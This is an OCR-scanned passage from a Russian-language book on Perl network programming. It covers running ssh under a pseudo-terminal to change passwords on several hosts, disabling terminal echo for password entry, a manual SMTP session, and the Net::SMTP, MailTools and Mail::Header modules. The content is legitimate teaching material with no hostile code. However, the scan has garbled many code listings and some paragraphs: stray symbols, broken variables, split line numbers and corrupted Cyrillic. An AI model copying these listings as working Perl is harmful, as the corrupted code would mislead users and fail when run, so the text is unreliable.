В листинге 6.5 показана общая схема запуска программы под управлением
псевдотерминала. Подпрограмма do_cmd () принимает имя выполняемой локальной команды
и список параметров, который должен быть передан этой команде. Работа сценария
начинается с создания дескриптора файла псевдотерминала с помощью метода IO:: Pty
->new () (строка 3). В случае успеха выполняется функция fork () и родительский
процесс возвращает дескриптор файла псевдотерминала вызывающей процедуре. Однако
дочерний процесс должен выполнить еще некоторые дополнительные Действия.
Вначале выполняется отсоединение от текущего управляющего терминального устройства
путем вызова метода POSIX: : setsid() (дополнительные сведения приведены в главе
10). Следующий этап состоит в получении дескриптора файла того конца канала,
который относится к терминальному устройству, путем вызова метода slave () объекта
IO: : Pty, а затем закрытии конца канала, относящегося к псевдотерминалу (строки 7,8).
Теперь Переоткрываются устройства STDIN, STD0UT и STDERR в новый объект
терминального устройства с использованием функции f dopen () и закрывается уже
ненужная копия дескриптора файла (строки 9-12). Отменяется буферизация в
устройстве STD0UT и вызывается функция exec () для выполнения требуемой команды
с параметрами. После выполнения команды ее стандартный ввод и вывод
подключаются к новому терминальному устройству, которое, в свою очередь, подключается
к псевдотерминалу, управляемому родительским процессом.
Листинг 6.5. Запуск программы в псе: ^терминале
1
2
3
4
5
б
7
8
9
10
11
12
13
14
15
16
sub do cmd {
my ($cmd,@args) = @ ;
my $pty = IO::Pty->new or
defined (my $child = fork)
return $pty if $child;
POSIX::setsid();
my $tty = $pty->slave;
close $pty;
STDIN->fdopen($tty, "<")
STD0UT->fdopen($tty,">")
STDERR->fdopen($tty,">")
close §tty;
$1=1;
exec $cmd,@args;
die "Couldn't exec: $!";
}
die
or
"can't make Pty: $!";
die "Can't fork: $!";
or die "STDIN: $!";
or die "STDOUT: $!";
or die "STDERR: $!";
После разработки подпрограммы do_cmd () остается внести в сценарий
change_passwd.pl относительно небольшие изменения. В листинге 6.6 приведен
пересмотренный сценарий change_passwd_ssh.pl, предназначенный для
использования с клиентом ssh.
174
Часть II. Разработка клиентов для основных служб
Листинг 6.6. Смена паролей в соединении защищенного командного
интерпретатора
#!/usr/bin/perl
# Файл: change_passwd_ssh.pl
use strict;
use Net::Telnet;
use Getopt::Long;
use IO::Pty;
use POSIX 'setsid';
use constant PROMPT => '/[%>] $/';
use constant USAGEMSG => «USAGE;
Usage: change_passwd.pl [options] machinel, inachine2, ...
Options:
—user <user> Login name
—old <pass> Current password
—new <pass> New password
USAGE
my ($USER,$OLD,$NEW);
die USAGEMSG unless GetOptions('user=s' => \$USER,
'old=s' => \$OLD,
'new=s' => \$NEW);
$USER |= $ENV{LOGNAME};
$OLD or die "provide current password with —old\n";
$NEW or die "provide new password with —new\n";
change_passwd($_,$USER,$OLD,$NEW) foreach GARGV;
sub change_passwd {
my ($host,$user,$oldpass,$newpass) = @_;
my $ssh = do_cmd('ssh,f"-1 $user",$host)
or die "couldn't launch ssh subprocess";
my $shell = Net::Telnet->new(Fhopen => $ssh);
$shell->binmode(1) ;
$shell->input_log(*passwd.log') if DEBUG;
$shell->errmode('return *);
$shell->waitfor('/password: /');
$shell->print($oldpass) ;
$shell->waitfor(PROMPT)
or return "host refused login: wrong password?\n";
$shell->print('passwd');
$shell->waitfor('/Old password:/')
or return warn "$host: ",$shell->errmsg,"\n";
$shell->print($oldpass);
my($pre,$match) = $shell->waitfor(Match => '/Incorrect password/'.
Match => '/New password:/');
$match =~ /New/ or return warn "$host: Incorrect password.\n"
$shell->print($newpass);
($pre,$match) = $shell->waitfor(Match => '/Bad password/'.
Match => '/Re-enter new password:/');
$match =~ /Re-enter/
or return warn "$host: New password rejected.\n";
$shell->print($newpass);
$shell->waitfor(*/Password changed\./')
or return warn "$host: ",$shell->errmsg,"\n";
print "Password changed for $user on $host.\n";
)
sub do_cmd {
my ($cmd,@args) = @ ;
Глава 6. FTP и Telnet
175
51
52
53
54
55
56
57
58
59
60
61
62
63
64
: my $pty = IO::Pty->new or
: defined (my $child = fork]
: return $pty if $child;
: setsid ();
my $tty = $pty->slave;
close $pty;
STDlN->fdopen($tty, "<■•)
STDOUT->fdopen($tty,">")
STDERR->fdopen($tty, ">*')
close $tty;
$1=1;
exec $cmd,@args;
die "Couldn't exec: $!";
}
die "can't make Pty: $!";
or die "Can't fork: $!";
or die "STDIN: $!"
or die "STDOUT: $!;
or die "STDERR: $!";
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Выполняется загрузка модуля iO::Pty и процедуры
setsidO из модуля POSIX.
• Строки 7-22. Обработка параметров командной строки и вызов подпрограммы
change_pasewd(). Единственное изменение состоит в том, что определена новая константа
prompt, которая содержит образец для сопоставления с приглашением к вводу команд данной
командной оболочки.
• Строки 23-26. Запуск подпроцесса ssh. Вызывается подпрограмма do_cmd () для запуска
программы ssh с использованием указанного имени пользователя и хоста. Если
подпрограмма do_cmd () выполняется успешно, она аозвращает дескриптор файла, подключенный
к псевдотерминалу, который управляет подпроцессом ssh.
• Строки 27-30. Создание и инициализация объекта Met:: Telnet. В процедуре
change_?asswd () создается новый объект Net:: Telnet, но теперь мы не разрешаем
объекту Net:: Telnet самому открыть соединение с удаленным хостом, а передаем ему дескриптор
файла ssh в параметре Fhopen. После создания объекта Net::Telnet выполняется его на-
. стройка путем перевода в двоичный режим с помощью метода binmode (), установка журнала
ввода для отладки и установка режима обработки ошибок "return". Применение двоичного
режима — это небольшая, но аажная поправка к первоначальному сценарию. Поскольку в
протоколе SSH для обозначения конца строки используется один символ LF, а не пара символов
crlf, предусмотренная по умолчанию, преобразование символов Crlf модуля Net::Telnet
является неприемлемым.
• Строки 31-33. Регистрация. Вместо вызоаа встроенного метода login о модуля
Net::Telnet, который рассчитан на обработку приглашений к вводу данных,
предусмотренных протоколом Telnet, применяется собственный метод регистрации, в котором ожидается
приглашение "password:" клиента ssh, а затем вводится соответствующий пароль. После
этого подпрограмма ожидает появление приглашения к вводу команд пользователем. Если по
каким-то причинам эти действия завершаются неудачей, выполняется возврат с сообщением
об ошибке.
• Строки 34-48. Смена пароля. Остальная часть подпрограммы change_?asswd() не
отличается от предыдущей версии.
• Строки 49-64. Подпрограмма do_cmd о. Это — та же подпрограмма, которая была
описана выше.
Теперь в программе change_passwd_ssh.pl для установления соединения с
указанными компьютерами и смены пароля пользователя применяется защищенный
командный интерпретатор. Это— большой шаг вперед по сравнению с предыдущей
версией, не обеспечивающей защиту от прослушивания сети; в результате такого
прослушивания мог быть перехвачен новый пароль, передаваемый по сети в
незашифрованном виде. В многопользовательских системах все равно может потребо-
176
Часть П. Разработка клиентов для основных служб
ваться изменить этот сценарий, чтобы он считывал пароли из стандартного
устройства ввода, а не из командной строки.
Для полноты в листинге 6.7 приведена процедура prompt_f or_passwd (), в
которой для отмены на время эхо-повтора командной строки, пока пользователь вводит
пароль, применяется программа stty UNIX. Эту процедуру можно использовать
примерно так:
$old = get_password('old password');
$new = get_password('new password');
Немного более сложная версия этой подпрограммы, в которой используется
модуль Term: : ReadKey (если он доступен), приведена в главе 20.
Листинг 6.7. Запрещение эхо-повтора во время выдачи приглашения к вводу
па ля
sub get_password {
my $prompt = shift |! 'password*;
print "$prompt: ";
system "stty -echo </dev/tty";
chomp(my $pw = <STDIN>);
system "stty echo </dev/tty";
print "\n";
return $pw;
}
Модуль Expect
Вместо модуля Net: :Telnet может применяться модуль Expect, который
предоставляет аналогичные возможности обеспечения взаимодействия с локальными
и удаленными процессами, предназначенными для работы в диалоге с пользователем.
Модуль Expect реализует развитый командный язык, который, кроме всего прочего,
позволяет приостанавливать сценарий и запрашивать у пользователя информацию,
такую как пароли. Модуль Expect можно найти в архиве CPAN.
Резюме
В настоящей главе рассматриваются клиентские модули Perl для двух наиболее
широко применяемых прикладных протоколов — FTP и Telnet. Оба протокола могут
служить примерами принципиально различных прикладных протоколов. В первом
применяется четко определенный язык управления, предназначенный для
взаимодействия с клиентскими программами, а во втором— неформальная интерактивная
среда, разработанная для людей.
Модуль Net: : FTP позволяет разрабатывать сценарии для автоматического
подключения к FTP-узлам, изучения их содержимого и избирательной загрузки или
выгрузки файлов. Гибкие средства сопоставления с образцом модуля Net: :Telnet
позволяют создавать сценарии автоматизации процессов, разработанных прежде всего
для взаимодействия с людьми, а не программами.
Глава 6. FTP и Telnet
177
Глава |~7~|
Протокол отправки почты
SMTP
Электронная почта— одно из самых старых приложений Internet, и поэтому не
удивительно, что было создано так много клиентских модулей, позволяющих
обращаться к системе электронной почты из сценария Perl. Многочисленные модули
позволяют отправлять и принимать почту, использовать почтовые ящики различных
форматов и работать с файловыми дополнениями MIME.
Общие сведения о модулях электронной
почты
В разделе "Internet Mail and Utilities" архива CPAN можно найти огромное число
модулей для работы с электронной почтой. Ниже приведено краткое описание
основных компонентов этого раздела.
■ Net: : SMTP. Этот модуль позволяет взаимодействовать непосредственно с
демонами почтового транспорта для отправки почты Internet по протоколу SMTP
(Simple Mail Transport Protocol — Простой почтовый транспортный протокол).
Он предоставляет также доступ к некоторым другим функциям этих демонов,
таким как подстановка псевдонимов электронной почты.
■ MailTools. Это — набор инструментальных средств более высокого уровня для
создания исходящих сообщений электронной почты. Для выполнения
основной работы в нем применяется ряд локальных пакетов обработки почты.
■ MIME: :Tools. Это— пакет модулей для создания, декодирования и обработки
компонентов почтовых сообщений в формате MIME (Multipurpose Internet
Mail Extensions — Многоцелевые расширения электронной почты Internet),
которые обычно называют файловыми дополнениями.
■ Net: :POP3. Это— клиент почтового протокола версии 3 (POP— Post Office
Protocol). Он предоставляет способ выборки почтовых сообщений
пользователя из центрального хранилища почты.
178 Часть II. Разработка клиентов для основных служб
■ Net: : IMAP. Это — клиентский модуль для протокола IMAP (Internet Message
Access Protocol— Протокол доступа к сообщениям электронной почты через
Internet), сложного протокола для хранения и синхронизации сообщений
электронной почты, находящихся в хранилище почты и клиентском компьютере.
В настоящей главе рассматриваются инструментальные средства,
предназначенные для создания исходящих почтовых сообщений, в том числе Net::SMTP
и MIME: :Tools. В главе 8 описаны модули Net: : РОРЗ и Net: :IMAP, используемые
для обработки входящей почты.
Net:: SMTP
Модуль Net: : SMTP принадлежит к числу модулей доступа к электронной почте
самого низкого уровня. При передаче электронной почты по Internet он
взаимодействует непосредственно с демонами SMTP. Для эффективного использования этого
модуля необходимо иметь некоторое представление о работе протокола SMTP.
Дополнительные усилия, затраченные на освоение модуля Net: : SMTP, окупаются с лихвой,
поскольку этот модуль является полностью переносимым и работает не только в
системе UNIX, но и в системах Macintosh и Windows.
Протокол SMTP
После того как перед клиентской программой электронной почты встает задача
отправки почты, она открывает сетевое соединение с определенным почтовым
сервером с использованием стандартного порта SMTP с номером 25. Клиент проводит
с сервером краткий обмен информацией, в ходе которого он сообщает сведения о
себе, объявляет о своем намерении отправить почту определенному корреспонденту
и передает сообщение электронной почты. Затем контроль над передачей сообщения
по назначению берет на себя сервер, доставляя его локальному пользователю или
отправляя сообщение на другой сервер, который должен выполнить его доставку.
Язык, на котором общаются серверы SMTP, ~ это простой протокол обмена
строковыми сообщениями, предназначенными для восприятия человеком. В листинге 7.1
показано, какие команды нужно выдать для отправки вручную законченного
сообщения электронной почты с использованием Telnet в качестве клиентской программы
(информация, введенная клиентом, выделена полужирным шрифтом).
Листинг 7.1. Обмен информацией с демоном SMTP
% telnet prego smtp
Connected to prego.lsjs.org.
Escape character is 'л]'.
220 prego.lsjs.org ESMTP Sendmail 8.9.3/8.8.5; Tue, 4 Jul 2000
14:38:58 -0400
HEL0 pesto.Is j s.org
250 prego.lsjs.org Hello pesto.lsjs.org [192.168.3.2], pleased
to meet you
MAIL From: <lsteinGcshl.org>
250 <lstein@cshl.org>... Sender ok
Глава 7. Протокол отправки почты SMTP 179
RCPT To: <lstein@lsjs.org>
250 <lstein@lsjs.org>... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
From: Lincoln Stein <lstein@cshl.org>
To: Lincoln D. Stein <lstein@lsjs.org>
Subject: An e-mail message
Looks like I'm talking to myself again!
Well, nice chatting with you.
250 OAA04310 Message accepted for delivery
QUIT
221 prego.lsjs.org closing connection
Connection closed by foreign host.
После подключения клиента к порту SMTP сервер присылает сообщение с кодом
"220", содержащее вступительное сообщение и приветствие. Клиент выдает команду
HELO с указанием имени хоста клиентского компьютера, а сервер отвечает
сообщением "250", которое, по сути, означает "ОК" — "Все хорошо".
Теперь соединение с сервером установлено и можно отправить почту. Клиент
выдает команду MAIL с параметром From: <вдрес отправителя> для указания
отправителя почты. Если отправитель указан правильно, сервер возвращает еще
один ответ "250". Затем клиент выдает команду RCPT (сокращение от "recipient")
с параметром То : <адрес получателя> для указания получателя почты. Сервер
снова подтверждает команду. Некоторые серверы SMTP имеют ограничения,
касающиеся того, каких отправителей и получателей они обслуживают; например,
они могут отказаться пересылать электронную почту в удаленные домены. В этом
случае они возвращают различные коды ошибок, которые могут находиться
в диапазоне от 500 до 599. Можно выдать несколько команд RCPT для отправки
электронной почты, которая имеет несколько получателей на узле (узлах),
обслуживаемом сервером SMTP.
Убедившись в том, что сервер принял адреса отправителя и получателя
(получателей), клиент отправляет команду DATA. В ответ сервер посылает запрос
ввести сообщение электронной почты. Сервер принимает строки ввода до тех пор, пока
не встретит строку, содержащую только одну точку, — ".".
Почта Internet имеет стандартный формат, состоящий из набора строк заголовка,
пустой строки и тела сообщения. Даже несмотря на то что адреса отправителя и
получателя были указаны при установлении соединения, для создания действительного
сообщения электронной почты их снова нужно указать. Почтовый заголовок должен,
как минимум, иметь поле From: с адресом отправителя, поле То: с адресом
получателя и поле Subj ect:. Другие стандартные поля, такие как поле с обозначением даты,
заполняются автоматически демоном почты.
Клиент вводит пустую строку для указания того, где заканчивается заголовок и
начинается тело сообщения, затем вводит текст сообщения электронной почты и
завершает его точкой. Подтверждение сервера с кодом 250 указывает, что сообщение
было успешно поставлено в очередь для доставки.
Теперь можно отправлять дополнительные сообщения, выдавая очередные
команды MAIL, но вместо этого клиент корректно разрывает соединение с помощью
команды QUIT. Полная спецификация протокола SMTP приведена в документе RFC
821. Стандартный формат почтовых заголовков Internet описан в документе RFC 822.
I
180
Часть II. Разработка клиентов для основных служб
API-интерфейс Net::SMTP
Структура модуля Net: : SMTP очень точно соответствует протоколу SMTP. Модуль
Net: : SMTP входит в состав утилит libnet и может быть получен в архиве CPAN. Как
и в других модулях Net: : *, в нем используется объектно-ориентированный
интерфейс, с помощью которого клиентская программа устанавливает соединение с
конкретным демоном обработки почты, в результате чего создается объект Net: : SMTP.
Затем можно вызывать методы объекта SMTP для отправки команд на сервер. Как
и модуль Net: : FTP ( в отличие от Net:: Telnet), Net: : SMTP происходит от модулей
Net::Cmd и IO: :Socket:: INET, что позволяет использовать методы messageO
и code () модуля Net:: Cmd для выборки самых последних сообщений и числовых
кодов состояния с сервера. В нем унаследованы также все методы IO: :Socket
и IO: : Socket: : INET низкого уровня.
Для создания нового объекта Net: : SMTP применяется конструктор new ().
Г $smtp = Nefc;:SMTP->new({$hostl r,$opfcl=>$vall,$opt2=>$vai2...j)
t Метод new о устанавливает соединение с сервером SMTP и возвращает новый объект
i Net: :SMTP. Первый необязательный параметр представляет собой имя.хоста,.к которому должно.,
быть выполнено подключение, и по умолчанию принимает значение записи почтового обмена, вне- >
сенной в конфигурацию модуля^е^ .-conftg-при установке утилит libnet. Ключевые параметры*3
j позволяют определить ряд опций. Кроме опций, распознаваемых суперклассом io"::Socket ::iNETi{
, могут применяться параметры, перечисленные в табл. 7.1. °" =•
Таблица 7.1. Параметры метода Net:: SMTP->new ()
Опция Описание Значение по умолчанию
Не 11о Доменное имя, которое должно быть указано Имя локального хоста
в команде HELO
Т ime out Продолжительность ожидания ответа от 120
сервера (в секундах)
Debug Применение режима выдачи подробных undef
отладочных сообщений
Port Номер или символическое имя порта, к которому 25
должно быть выполнено подключение
Если в соединении было отказано (или попытка соединения была прекращена
по тайм-ауту), метод new() возвращает ложное значение. Ниже приведен пример
установления соединения с почтовым сервером домена cshl.org с тайм-аутом
в 60 секунд.
$smtp = Net::SMTP->new('mail.cshl.org',Timeout=>60) ;
После создания объекта можно отправлять или получать информацию с сервера,
вызывая методы объекта. Некоторые из них весьма просты.
Sbanner = $smtp->banner () '"" "^ " "* ?
L $domain = $smf;p->domain() Ш
L Сразутюсле подключения к серверу SMTP.можно получить.с сервера текст приветственного со- !
общения и/или имя дрмена, обслуживаемого сервером, вызвав эти два метода. ._. „а, I
Глава 7. Протокол отправки почты SMTP
181
Чтобы отправить электронную почту, необходимо вначале вызвать методы
mail () и recipient () для подготовки к обмену информацией с сервером.
! 5success = $smtp->mail ($ address [Adoptions ]) . *j
f Метод mail () выдает команду mail на сервер. Обязательным первым параметром является
''адрес отправителя. Необязательный второй параметр представляет собой ссылку на хеш, со-
i держащий различные опции, которые должны быть переданы серверу, поддерживающему прото-
I кол ESMTP (Extended Simple Mail Transport Protocol— Расширенный простой почтовый транс-
I портный протокол). Эти опции применяется ре*,ко. дополнительные сведения приведены ь
документации Net riSMTP.'
"- Адрес может быть за/,1н в ппб 'й формь, воспринимаемой клиентами электронной почты,
ъклгчпя doeEacRiv4.org:, <4оеваспб.огд?. John Doe <doe8acmu.org> и йоеСлсгое.сгу
(J-hn Гос).
При успешном гыполнении этот метод ггогращает истинное значение, в «ной случае—
значение un<lef. Для получений сообщения об, ошибке может применяться' унаследованный метод
mssaajt ().
9«uconss ■ $entr->r«cipient($addxeSel ,Saddr«ss2,$addxei§a3,...)
eok_addx « $sntp->ri3Cipient<$a.ldrl,$addr2,$addr3,. . ■, { SkipBacVol) )
Метод recipient О выдает на серсер к мянду RCET. Маряметры пгедстапляют со?сй список
допустимых адресов электронной .почты, по кстбрым должна бить доставлена почта. За списком зд-
рэ «мс ■= слеДэвать ссыл - на хеш, содержащий различные опции А
Все адреса, переданные методу recipient (), должны быть приемлемыми для
сервера, поскольку в ином случае весь вызов возвратит ложное значение. Для
изменения этого правила можно передать опцию SkipBad в хеше опций. В этом случае
модуль проигнорирует адреса, отвергнутые сервером, и возвратит в качестве
результата список принятых адресов.
@ok=$smtp->recipient(•lsteinOcshl.org','nobodyOcshl.org.',
{SkipBad=>l})
Если сервер успешно принял адреса отправителя и получателя, можно
приступить к отправке текста сообщения с использованием методов data (), datasend ()
HdataendO.
'f $ success e $emtp->data{£$fcextl) ' " •"" '"' "%■ " r." " e v "' "i
Метод data () выдвет на сервер команду data. При вызове со скалярным параметром он
передает значение'параметра как содержимое (заголовок и тело) сообщения; электронной почты. Если
нужно отправить сообщение по частям, можно вызвать метод data О Бое параметра и выполнить,
ряд вызовов метода .datasend (о=. Метод data О возвращает значение, ^которое указывает на ус-
[ пешное или неудачное выполнение команды.
I $ success = $smtp->datasend(edata) ,,
! После вызова метода data{) без параметра можно вызвать метод datasend () один или не-
| сколько раз для отправки строк текста сообщения электронной почты на сервер. Строки, начинаю-
■ щиеся с точки, автоматически мэсжиру>стся..чтобы передача не былапрервана[преждевременно.
при Алании можно вызвать метод datasend () со ссылкой на массив. И данный метод, и метод
dataend О унреледгёаны от базового класса Ке t:: Cmd.
$ success ш $c±tp->d4tasi>:i
1 После отпра ки сообщения электронной п.хты несглхэдимс Быэяать>метгд -JatacndO, чтобы
передать заключительную течку Если сообщение принято к ^тпразко. мотоа возерзщаот
истинное значение
182 Часть П. Разработка клиентов для основных служб
Для выполнения более сложных операций взаимодействия с серверами SMTP
могут применяться следующие два метода.
^тг~
$smtp->reset - s. ~"*~ -'-'' * "- » '" л
Этот метод отправляет на сервер команду rset, аварийно прекращая выполняемую опера-'
цию передачи почтового сообщения. Данный метод можно вызвать, если один из получателей :
отвергнут сервером; он переводит сервер а исходное состояние, чтобы можно было сделать :
еще одну попытку: ~ »
$valid = $smtp->verify{$ address) j
@recipients = $smtp->expand<$address) Л
Методы expand() и verify (J могут'применяться для проверки того, является ли адрес
получателя действительным, прежде чем послать (Сообщение "электронной почты; вели указанный адрес
принят сервером, метод vei-ijf у () возвращает истинное значение. .к ,,,. j
Метод expand (} выполняет нечто более интересное. Если адрес является действительным, ме- ,
тод разворачивает его в один или несколько псевдонимов, при условии,: что бни существуют. Это ~
может применяться для выявления адресов перенаправления и имен получателей списка рассылки. П
Данный метод возвращает список псевдонимов; если указанный адрес является недёйствитель- '•
ным, — пустой список. В целях защиты многие администраторы электронной почты отйеняют это
средство, и в таком случае метод всегда возвращает пустой список. F- , J^ .-, j
L
И наконец, закончив работу с сервером, следует вызвать метод quit ().
$smtp->cruit '"*' '' '"' - "*" » t. ь.
Этот метод корректно разрывает соединение с сервером.
Применение модуля Net: .SMTP
Модуль Net: :SMTP позволяет быстро написать подпрограмму для отправки
электронной почты. Подпрограмма mail () принимает два параметра: текст
отправляемого сообщения электронной почты (обязательный параметр) и имя используемого
хоста SMTP (необязательный параметр). Эту подпрограмму можно вызвать
следующим образом:
$msg = «'END';
From: John Doe <doe@acme.org>
To: L Stein <lstein@lsjs.org>
Cc: jac@acme.org, vvd@acme.org
Subject: hello there
This is just a simple e-mail message.
Nothing to get excited about.
Regards, JD
END
mail($msg,'presto.lsjs.org') or die "arggggh!";
Текст сообщения электронной почты создается с помощью оператора вложения
(«) и сохраняется в переменной $msg. Сообщение должно содержать заголовок
электронной почты, как минимум, с полями From: и То:. Оно передается
подпрограмме mail (), которая извлекает значения полей с адресами отправителя и
получателя и вызывает модуль Net: : SMTP для выполнения основной работы. Подпрограмма
mail () приведена в листинге 7.2.
Глава 7. Протокол отправки почты SMTP
183
Листинг 7.2. Простая подпрограмма для отправки электронной почты
0: use Net::SMTP;
1: sub mail {
2: my ($msg,$server) = G_;
3: # Интерпретировать сообщение для получения адреса
# отправителя и получателя
4: my ($header,$body) = split /\n\n/,$msg,2;
5: return warn "no header" unless $header && $body;
6: # Соединить строки продолжения
7: $header =~ s/\n\s+/ /gm;
8: # Интерпретировать поля
9: my (%fields) = $header =~ /([\w-]+):\s+(.+)$/mg;
10: my $from = $fields{From}
or return warn "no From field";
11: my Gto = split /\s*,\s*/,$fields{To}
or return warn "no To field";
12: push @to,split /\s*,\s*/,$fields{Cc} if $fields{Cc};
13: # Открыть сеанс связи с сервером
14: my $smtp = Net::SMTP->new($Server)
or return warn "couldn't open server";
15: $smtp->mail($from)
or return warn $smtp->message;
16: my Gok = $smtp->recipient(@to,{SkipBad=>l})
or return warn $smtp->message;
17: warn $smtp->message unless @ok == @to;
18: $smtp->data($msg)
or return warn $smtp->message;
19: $smtp->quit;
20: }
Проведем анализ программы.
• Строки 1-9. Интерпретация сообщения электронной почты. Сообщение разбивается на
заголовок и тело в том месте, где находится первая пустая строка. Поля заголовка часто
содержат строки продолжения, которые начинаются с пробела, но здесь они объединяются а одну
строку.
Заголовок интерпретируется и записывается в хеш с использованием простого оператора
сопоставления с образцом, а значения полей From: и то: сохраняются в локальных
переменных. Поле то: может содержать несколько адресов получателей, поэтому выделяются
отдельные адреса путем разбиения значения этого поля в местах вхождения запятой (эта
операция может окончиться неудачей в том маловероятном случае, если один из адресоа
содержит запятую). Если заголовок содержит поле ее:, выполняются аналогичные действия.
• Строки 10-16. Отправка сообщения. Создается новый объект Net: :smtp и вызываются его
методы mail () и recipient () для открытия сеанса отправки сообщения. В вызове метода
recipient () применяется опция skipBad, чтобы метод мог предпринять попытку доставить
сообщение, даже если сервер отвергнет некоторых получателей. Выполняется сравнение
числа получателей, принятых сервером, с заданным числом. Если не был принят ни один из них,
осуществляется возврат из подпрограммы. Если же отвергнуты только некоторые получатели,
выполняется вывод предупреждающего сообщения.
Вызывается метод data () для отправки полного сообщения электронной почты на сервер
и метод quit () —для разрыва соединения.
184
Часть II. Разработка клиентов для основных служб
Эта подпрограмма выполняет свое назначение, однако в ней отсутствуют
некоторые важные средства. Например, она не обрабатывает поле Вес:, которое
обеспечивает доставку письма без указания получателя в заголовке. Эти недостатки устранены
в модуле MailTools, описанном ниже.
MailTools
Модуль MailTools, написанный Грэмом Барром (Graham Barr), — это объектно-
ориентированный интерфейс высокого уровня к системе электронной почты
Internet. Этот модуль, который может быть получен из архива CPAN, предоставляет
удобный способ создания сообщений электронной почты, совместимых с RFC 822,
и управления ими. После составления сообщение можно отправить с помощью
средств протокола SMTP или воспользоваться одной из программ обработки почты
с интерфейсом командной строки системы UNIX для выполнения основной
работы. Это может потребоваться в локальной сети, в которой нет непосредственного
доступа к серверу SMTP.
Применение модуля MailTools
Ниже приведен простой пример отправки электронной почты из сценария,
который позволяет понять основные особенности интерфейса MailTools (листинг 7.3).
Листинг 7.3. Отправка электронной почты с помощью модуля
Mail г:Internet
О: #!/usг/local/bin/perl -w
1: # Файл: mailtoolsl.pl
2: use Mail::Internet;
3
4
5
6
7
8
9
10
11
my $head = Mail::Header->new;
$head->add(From => 'John Doe <doeGacme.org>');
$head->add(To => 'L Stein <lsteinGIsjs.org>');
$head->add(Cc => 'jacGacme.org');
$head->add(Cc => 'vvd@acme.org');
$head->add(Subject => 'hello there');
my $body = «END;
This is just a simple e-mail message.
Nothing to get excited about.
12: Regards, JD
13: END
14
15
16
17
$mail = Mail::Internet->new(Header => $head.
Body => [$bodyJ,
Modify => 1);
print $mail->send('sendmail');
Глава 7. Протокол отправки почты SMTP
185
Проведем анализ программы.
• Строки 1,2. Загрузка модулей. Вызывается модуль Mail:: internet, который осуществляет
вызов других необходимых модулей, включая Mail::Header, содержащий информацию
о том, какой формат должны иметь заголовки RFC 822, и Mail:: Mailer, который содержит
информацию о том, как отправлять почту с помощью различных методов.
• Строки 3-8. Создание заголовка. Вызывается метод Mail:: Heacler->new для создания нового
объекта заголовка, который будет служить для составления заголовка, совместимого с RFC 822.
После создания этого объекта несколько раз вызывается его метод add () для добавления строк
From:, то:, Сс: и Subject:. Обратите внимание, что строку заголовка одного и того же типа
можно добавить несколько раз, как было сделано с использованием строки сс:. Модуль
Mail:: Header вставляет также другие необходимые строки заголовка RFC 822 автоматически.
• Строки 9-13. Создание тела сообщения. Создается тело сообщения, которое представляет
собой просто блок текста.
• Строки 14-16. Создание объекта Mail::internet. Теперь создается новый объект
Mail::internet путем вызова метода new() пакета. К числу ключевых параметров относятся
Header, которому передается только что созданный объект заголовка, и Body, который получает
текст тела сообщения. Парвметр Body принимает ссылку на массив, содержащий отдельные
строки текста тела сообщения, поэтому переменная Sbody включена в оператор, который
обозначает ссылку на анонимный массив. Еще один параметр метода new (), Modify, сообщает
модулю Mail::internet, что разрешено переформатировать строки заголовка в соответствии
с ограничениями на длину строки, которые налагают некоторые обработчики почты SMTP.
• Строка 17. Отправка почты. Вызывается метод send о ановь созданного объекта
Mail:: internet с параметром, определяющим применяемый метод отправки. Параметр
"sendmail" указывает, что модуль Mail::Internet должен предпринять попытку
использовать для доставки почты программу sendmail UNIX.
Хотя на первый взгляд кажется, что модуль Mail: : Internet не обладает
значительными преимуществами перед подпрограммой mail (), основанной на модуле Net:: SMTP,
которая рассматривалась в предыдущем разделе, широкие возможности MailTools
определяются его способностью исследовать объекты Mai 1: : Header и управлять ими. Модуль
Mail: : Header является также базовым классом для модуля MIME: : Head, который
позволяет управлять заголовками электронной почты, совместимыми с МШЕ; эти заголовки
слишком сложны, чтобы их можно было обрабатывать вручную.
Mail::Header
Заголовки электронной почты являются более сложными, чем кажется на первый
взгляд. Одни поля появляются только один раз, другие — несколько раз, а есть и
такие, которые позволяют указывать несколько значений, отделяя их запятыми или
другими разделителями. Поле может занимать одну строку или разбиваться на
несколько строк с ведущими пробельными символами, обозначающими строки
продолжения. Система электронной почты может также накладывать произвольные
ограничения на длину строк заголовка. Поэтому необходимо быть предельно внимательным
при построении заголовков электронной почты вручную для более сложных
сообщений по сравнению с простыми примерами, приведенными выше.
Модуль Mail: :Header упрощает задачу построения, исследования и изменения
заголовков RFC 822. Объект Mail: :Header после построения может быть передан
модулю Mail: : Internet для отправки.
Модуль Mail::Header контролирует синтаксис, но не содержимое заголовка,
а это значит, что может быть построен заголовок с полями, которые не распознаются
почтовой подсистемой. В зависимости от обработчика почты, сообщение с непра-
186
Часть П. Разработка клиентов для основных служб
пильными заголовками может быть доставлено по назначению или возвращено
отправителю. Для предотвращения этого нужно следить за тем, чтобы в заголовках
применялись только те поля, которые перечислены в документах RFC, посвященных
SMTP и MIME (соответственно, RFC 822 и RFC 2045). В табл. 7.2 приведены
некоторые широко применяемые заголовки сообщений электронной почты.
Поля, которые начинаются с символов Х-, предназначены для использования
в качестве расширений. Можно смело составлять заголовок, содержащий любое
число полей Х-, и эти поля будут переданы почтовой системой без изменений.
$header = Mail::Header->new(Modify=>l);
$header->addCX-Mailer' => "Fido's mailer vl.O");
$header->add('X-HiMom* => 'Hi mom!');
Модуль Mail: :Header поддерживает большое число методов. В следующем
списке перечислены основные методы. Для создания нового объекта нужно вызвать
метод new () модуля Mai 1: : Header.
Таблица 7.2. Поля, поддерживаемые модулем Mail:: Header
Вес
Сс
Comments
Content-Type
Content-Transfer-
Encoding
Content-Disposition
Date
From
Keywords
Message-ID
MIME-Version
Organization
Received
References
Reply-To
Resent-From
Resent-To
Return-Path
Sender
Sub j ect
To
X-*
Shaad ■ Mail: :Header->аом(1$агд] [.^options])
Метод new() — это конструктор классаJteil::Header. При вызове без параметров он создает
новый объект Mail:: но ?dt r,ct Держащий пустой набор загс ловкое.
Пиреый параметр, если он* указан, применяется для инициализации объекта. Метод принимает
параметры дзух типое. Мтжот Чыть задан открытый дескриптор файла, и в этом случае заголовки считы-
бяются из указанного файла; мэжет ?ьт*также задана ссылка на массив, ив таком случае заголовки
считыеаются ,из массива- В том или ином случае каждая строка должна представлять собой правильно
отформатированный заголовок электронной Почты, например "Subject: this is *'subject".
Необязательный парвметр Bop.ti ;ns представляет собой список ключевых параметров, которые
управляют различными опциг.ми заголовка. Наиболее1часто применяется, опции Modify; прм ее
«установке равной истинному значению модуль M«ii< гНоайгг получает разрешение перефОрматйро-
